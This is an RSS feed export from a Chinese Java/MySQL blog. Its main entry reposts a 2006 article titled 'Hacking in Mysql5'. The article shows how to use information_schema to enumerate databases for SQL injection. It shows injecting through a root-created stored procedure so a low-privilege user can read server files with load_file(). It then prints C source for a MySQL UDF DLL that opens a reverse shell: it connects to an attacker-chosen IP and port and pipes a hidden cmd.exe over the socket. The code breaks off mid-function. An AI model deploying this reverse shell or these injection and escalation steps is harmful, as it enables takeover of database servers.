﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-陈朋奕和谢仍明的博客-文章分类-MySQL资料翻译</title><link>http://www.blogjava.net/chenpengyi/category/2084.html</link><description>MySQL资料，Java技术，管理思想，博弈论，Ajax，XP极限编程，物流知识</description><language>zh-cn</language><lastBuildDate>Tue, 27 Feb 2007 12:25:36 GMT</lastBuildDate><pubDate>Tue, 27 Feb 2007 12:25:36 GMT</pubDate><ttl>60</ttl><item><title>MySQL 新特性之事件中文教程</title><link>http://www.blogjava.net/chenpengyi/articles/77933.html</link><dc:creator>陈朋奕</dc:creator><author>陈朋奕</author><pubDate>Sun, 29 Oct 2006 14:07:00 GMT</pubDate><guid>http://www.blogjava.net/chenpengyi/articles/77933.html</guid><wfw:comment>http://www.blogjava.net/chenpengyi/comments/77933.html</wfw:comment><comments>http://www.blogjava.net/chenpengyi/articles/77933.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/chenpengyi/comments/commentRss/77933.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chenpengyi/services/trackbacks/77933.html</trackback:ping><description><![CDATA[MySQL新特性——事件的中文教程：<br /><a href="/Files/chenpengyi/MySQL-Events-CN.rar">http://www.blogjava.net/Files/chenpengyi/MySQL-Events-CN.rar</a><br />如果需要英文的请到MySQL知识库中下载。<img src ="http://www.blogjava.net/chenpengyi/aggbug/77933.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chenpengyi/" target="_blank">陈朋奕</a> 2006-10-29 22:07 <a href="http://www.blogjava.net/chenpengyi/articles/77933.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何黑MySQL5数据库？（来自：http://superhei.blogbus.com）</title><link>http://www.blogjava.net/chenpengyi/articles/31557.html</link><dc:creator>陈朋奕</dc:creator><author>陈朋奕</author><pubDate>Sun, 19 Feb 2006 13:53:00 GMT</pubDate><guid>http://www.blogjava.net/chenpengyi/articles/31557.html</guid><wfw:comment>http://www.blogjava.net/chenpengyi/comments/31557.html</wfw:comment><comments>http://www.blogjava.net/chenpengyi/articles/31557.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/chenpengyi/comments/commentRss/31557.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chenpengyi/services/trackbacks/31557.html</trackback:ping><description><![CDATA[<FONT style="BACKGROUND-COLOR: #ffffff" size=2>Hacking in Mysql5<BR><BR>Author：SuperHei_[At]_ph4nt0m.org<BR>Blog：</FONT><A href="http://superhei.blogbus.com/" target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://superhei.blogbus.com/</FONT></A><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>Team：</FONT><A href="http://www.ph4nt0m.org/" target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://www.ph4nt0m.org</FONT></A><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>Data: 2006-01-29<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp; Mysql5增加很多新的功能，开始支持：存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然，但是新的东西的出来，必定也会带来新的安全问题，如Mysql4开始支持union查询、子查询。这直接导致mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢？下面我给大家介绍下mysql5在安全方面的特点：<BR><BR><BR>一、password authentication<BR><BR>mysql5的password()和mysql4.1一样，采用的基于SHA1的41位hash：<BR><BR>mysql&gt; select password('mypass');<BR>+-------------------------------------------+<BR>| password('mypass')&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>+-------------------------------------------+<BR>| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |<BR>+-------------------------------------------+<BR>1 row in set (0.00 sec)<BR><BR>在mysql4.1以前的password hashes是基于16位md5：<BR><BR>mysql&gt; SELECT PASSWORD('mypass');<BR>+--------------------+<BR>| PASSWORD('mypass') |<BR>+--------------------+<BR>| 6f8c114b58f2ce9e&nbsp;&nbsp; |<BR>+--------------------+<BR><BR>当使用低版本的Client连接时，回出现错误：Client does not support authentication protocol，为了解决这个问题，mysql5提供了一个old_password(),就相当于mysql4.1以前的的password():<BR><BR>mysql&gt; select old_password('mypass');<BR>+------------------------+<BR>| old_password('mypass') |<BR>+------------------------+<BR>| 6f8c114b58f2ce9e&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>+------------------------+<BR>1 row in set (0.09 sec)<BR><BR>二、数据字典(information_schema)<BR><BR>和mssql、oracle、db2等数据库一样，mysql5提供了一个系统数据库：information_schema<BR>mysql&gt; use information_schema;<BR>Database changed<BR>mysql&gt; show tables;<BR>+---------------------------------------+<BR>| Tables_in_information_schema&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>+---------------------------------------+<BR>| CHARACTER_SETS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>| COLLATIONS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>| COLLATION_CHARACTER_SET_APPLICABILITY |<BR>| COLUMNS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>| COLUMN_PRIVILEGES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>| KEY_COLUMN_USAGE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>| ROUTINES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>| SCHEMATA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>| SCHEMA_PRIVILEGES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>| STATISTICS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>| TABLES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>| TABLE_CONSTRAINTS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>| TABLE_PRIVILEGES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>| TRIGGERS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>| VIEWS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>| USER_PRIVILEGES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>+---------------------------------------+<BR>16 rows in set (0.17 sec)<BR><BR>在这个数据库里我们可以得到很多信息，包括当前用户权限：<BR>mysql&gt; select * from information_schema.USER_PRIVILEGES;<BR>+-----------+---------------+----------------+--------------+<BR>| GRANTEE&nbsp;&nbsp; | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |<BR>+-----------+---------------+----------------+--------------+<BR>| 'KK1'@'%' | NULL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| USAGE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| NO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>+-----------+---------------+----------------+--------------+<BR>1 row in set (0.02 sec)<BR><BR>当前用户权限下可以访问的数据库，表，列名（这个在sql注射中，导致直接暴区数据库，表列名，再也不要‘暴力’咯）：<BR><BR>mysql&gt; select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS<BR>TICS;<BR>+--------------+------------+-------------+<BR>| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |<BR>+--------------+------------+-------------+<BR>| in&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | article&nbsp;&nbsp;&nbsp;&nbsp;| articleid&nbsp;&nbsp; |<BR>| in&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | user&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | userid&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>+--------------+------------+-------------+<BR>2 rows in set (0.02 sec)<BR><BR>还可以得到当前用户权限下的VIEWS，ROUTINES等，关于ROUTINES我们在下面的‘存储过程’里详细介绍。<BR><BR>[ps:注意是‘当前用户权限’如果是root，那么太可以得到所有的数据库名称以及表列名等等]<BR><BR><BR>三、存储过程(Stored Procedures)<BR><BR>'存储过程'的使用是mysql5的一个闪光点，在带来方便的同时，它也带来了新的安全隐患：如sql注射，用户权限提升等等。<BR><BR>D:\mysql5\bin&gt;mysql -uroot -p<BR>Enter password: ******<BR>Welcome to the MySQL monitor.&nbsp;&nbsp;Commands end with ; or \g.<BR>Your MySQL connection id is 4 to server version: 5.0.18<BR><BR>Type 'help;' or '\h' for help. Type '\c' to clear the buffer.<BR><BR>mysql&gt; use in<BR>Database changed<BR>mysql&gt; delimiter //<BR>mysql&gt; CREATE PROCEDURE test(id INT)<BR>&nbsp;&nbsp;&nbsp;&nbsp;-&gt; BEGIN<BR>&nbsp;&nbsp;&nbsp;&nbsp;-&gt;&nbsp;&nbsp; SELECT * FROM in.USER WHERE USERID=ID;<BR>&nbsp;&nbsp;&nbsp;&nbsp;-&gt; END//<BR>Query OK, 0 rows affected (0.08 sec)<BR><BR>mysql&gt; delimiter ;<BR><BR>mysql&gt; call test(1);<BR>+--------+----------+----------+<BR>| userid | username | password |<BR>+--------+----------+----------+<BR>|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 | angel&nbsp;&nbsp;&nbsp;&nbsp;| mypass&nbsp;&nbsp; |<BR>+--------+----------+----------+<BR>1 row in set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.00 sec)<BR><BR>上面我们使用root在数据库in里创建了一个名为test的存储过程。<BR><BR>a、SQL Injection<BR><BR>mysql&gt; call test(1 and 1=1);<BR>+--------+----------+----------+<BR>| userid | username | password |<BR>+--------+----------+----------+<BR>|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 | angel&nbsp;&nbsp;&nbsp;&nbsp;| mypass&nbsp;&nbsp; |<BR>+--------+----------+----------+<BR>1 row in set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.01 sec)<BR><BR>mysql&gt; call test(1 and 1=2);<BR>Empty set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.00 sec)<BR><BR>b、跨权限<BR>存储过程是继承创建者的权限的，如果存储过程是root创建的，当其他普通用户使用这个存储过程时，导致跨权限攻击：<BR><BR>mysql&gt; grant SELECT, INSERT, UPDATE, DELETE, EXECUTE<BR>&nbsp;&nbsp;&nbsp;&nbsp;-&gt; ON `IN`.*<BR>&nbsp;&nbsp;&nbsp;&nbsp;-&gt; TO 'KK1'@'%'<BR>&nbsp;&nbsp;&nbsp;&nbsp;-&gt; IDENTIFIED BY 'OBSCURE';<BR>Query OK, 0 rows affected (0.03 sec)<BR><BR>上面建立一个KK1的用户只在数据库in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE权限，使用KK1登陆：<BR>D:\mysql5\bin&gt;mysql -uKK1 -p<BR>Enter password: ******<BR>Welcome to the MySQL monitor.&nbsp;&nbsp;Commands end with ; or \g.<BR>Your MySQL connection id is 5 to server version: 5.0.18<BR><BR>Type 'help;' or '\h' for help. Type '\c' to clear the buffer.<BR><BR>mysql&gt; select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform<BR>ation_schema.ROUTINES;<BR>+----------------+--------------+----------------+--------------------+<BR>| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ROUTINE_DEFINITION |<BR>+----------------+--------------+----------------+--------------------+<BR>| in&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | test&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | root@localhost |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>| in&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | tt&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | root@localhost |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<BR>+----------------+--------------+----------------+--------------------+<BR>2 rows in set (0.01 sec)<BR><BR>我们可以得到KK1可以使用存储过程in.test 其创建者为root@localhost。不过KK1没有权限得到ROUTINE_DEFINITION 就是in.test的代码。下面看看跨权限：<BR><BR>mysql&gt; call in.test(1 and length(load_file('c:/boot.ini'))&gt;0);<BR>+--------+----------+----------+<BR>| userid | username | password |<BR>+--------+----------+----------+<BR>|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 | angel&nbsp;&nbsp;&nbsp;&nbsp;| mypass&nbsp;&nbsp; |<BR>+--------+----------+----------+<BR>1 row in set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.01 sec)<BR><BR>mysql&gt; call in.test(1 and length(load_file('c:/boot.ini'))&lt;0);<BR>Empty set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.00 sec)<BR><BR>没有file权限的KK1可以使用in.test使用load_file()，我们还可以直接对mysql.user进行select，如果存储过程可以updata，insert注射，那么我们可以普通用户直接通过注射来修改mysql.user里的数据。<BR><BR>四、User-Defined Function <BR><BR>[ps：下面都是基于win系统]<BR><BR>mysql5的udf在格式和安全方面做一些新的改变：<BR>1、格式要求更加严格[xxx_init()初始化函数]<BR>对于没有xxx_init()初始化函数 在以前的版本是可以使用的，但是在mysql5下会出现Can't find function 'xxx_init' in library的错误，如：<BR><BR>mysql&gt; create function ExitProcess returns integer soname 'kernel32';<BR>ERROR 1127 (HY000): Can't find function 'ExitProcess_init' in library<BR><BR>下面给出的代码是好友云舒写的，符合mysql5的udf格式要求可以在mysql5下使用：<BR><BR>/******************************************************************************* <BR>* File:&nbsp;&nbsp; MySQL_Shell.cpp <BR>* Author: 云舒(wustyunshu at hotmail dot com) <BR>* Date:&nbsp;&nbsp;&nbsp;&nbsp;2005-12-12 <BR>*******************************************************************************/ <BR>#include &lt;stdio.h&gt; <BR>#include &lt;winsock2.h&gt; <BR>#include &lt;windows.h&gt; <BR><BR>#define MAKE_DLL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* Build dll here */ <BR><BR>#include "MySQL_Shell.h" <BR><BR>#pragma comment( lib, "ws2_32" ) <BR><BR>#define BUFFER_SIZE&nbsp;&nbsp;&nbsp;&nbsp;1024 <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//函数原型 <BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>BOOL StartWith( char *, char * ); <BR>void LogMsg( char * ); <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//MySQL模块初始化函数 <BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>LIB&nbsp;&nbsp;&nbsp;&nbsp;my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message ) <BR>{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;if ( args-&gt;arg_count != 2 ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy( message, "Shell() requires two arguments" ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1; <BR>&nbsp;&nbsp;&nbsp;&nbsp;} <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;if ( (args-&gt;arg_type[0] != STRING_RESULT) || (args-&gt;arg_type[1] != STRING_RESULT) ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy( message, "Shell() requires two string arguent" ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1; <BR>&nbsp;&nbsp;&nbsp;&nbsp;} <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;return 0; <BR>} <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//MySQL模块主功能函数，反向连接提供shell <BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error ) <BR>{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;SOCKET&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sock; <BR>&nbsp;&nbsp;&nbsp;&nbsp;SOCKADDR_IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sin; <BR>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;// Create socket <BR>&nbsp;&nbsp;&nbsp;&nbsp;sock = socket( AF_INET, SOCK_STREAM, 0 ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;if ( sock == INVALID_SOCKET ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy( error, "Create socket error" ); <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1; <BR>&nbsp;&nbsp;&nbsp;&nbsp;} <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;sin.sin_family = AF_INET; <BR>&nbsp;&nbsp;&nbsp;&nbsp;sin.sin_port = htons( atoi(args-&gt;args[1]) ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;sin.sin_addr.s_addr = inet_addr( args-&gt;args[0] ); <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;//connect to remote server <BR>&nbsp;&nbsp;&nbsp;&nbsp;ret = connect( sock, (struct sockaddr *)&amp;sin, sizeof(sin) ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;if( ret == SOCKET_ERROR ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy( error, "Connect error" ); <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1; <BR>&nbsp;&nbsp;&nbsp;&nbsp;} <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;SECURITY_ATTRIBUTES&nbsp;&nbsp;&nbsp;&nbsp;sa; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;sa.nLength = sizeof( sa ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;sa.lpSecurityDescriptor = 0; <BR>&nbsp;&nbsp;&nbsp;&nbsp;sa.bInheritHandle = TRUE; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;ret=CreatePipe( &amp;hReadPipe1, &amp;hWritePipe1, &amp;sa, 0 ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;ret=CreatePipe( &amp;hReadPipe2, &amp;hWritePipe2, &amp;sa, 0 ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;STARTUPINFO&nbsp;&nbsp;&nbsp;&nbsp;si; <BR>&nbsp;&nbsp;&nbsp;&nbsp;ZeroMemory( &amp;si, sizeof(si) ); <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;GetStartupInfo( &amp;si ); <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;si.cb = sizeof( si ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <BR>&nbsp;&nbsp;&nbsp;&nbsp;si.wShowWindow = SW_HIDE; <BR>&nbsp;&nbsp;&nbsp;&nbsp;si.hStdInput = hReadPipe2; <BR>&nbsp;&nbsp;&nbsp;&nbsp;si.hStdOutput = si.hStdError = hWritePipe1; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;PROCESS_INFORMATION&nbsp;&nbsp;&nbsp;&nbsp;processInfo; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;cmdLine[] = "cmd.exe"; <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;ZeroMemory( &amp;processInfo , sizeof(PROCESS_INFORMATION) ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&amp;si,&amp;processInfo); <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buff[BUFFER_SIZE] = { 0 };&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;unsigned long&nbsp;&nbsp;&nbsp;&nbsp;bytesRead = 0; <BR>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i = 0; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;while( TRUE ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset( buff, 0, BUFFER_SIZE ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &amp;bytesRead, 0, 0 ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i = 0; i &lt; 5 &amp;&amp; bytesRead == 0; i++) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(100); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &amp;bytesRead, NULL, NULL ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( bytesRead ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret = ReadFile( hReadPipe1, buff, bytesRead, &amp;bytesRead, 0 ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if( !ret ) break; <BR>&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret = send( sock, buff, bytesRead, 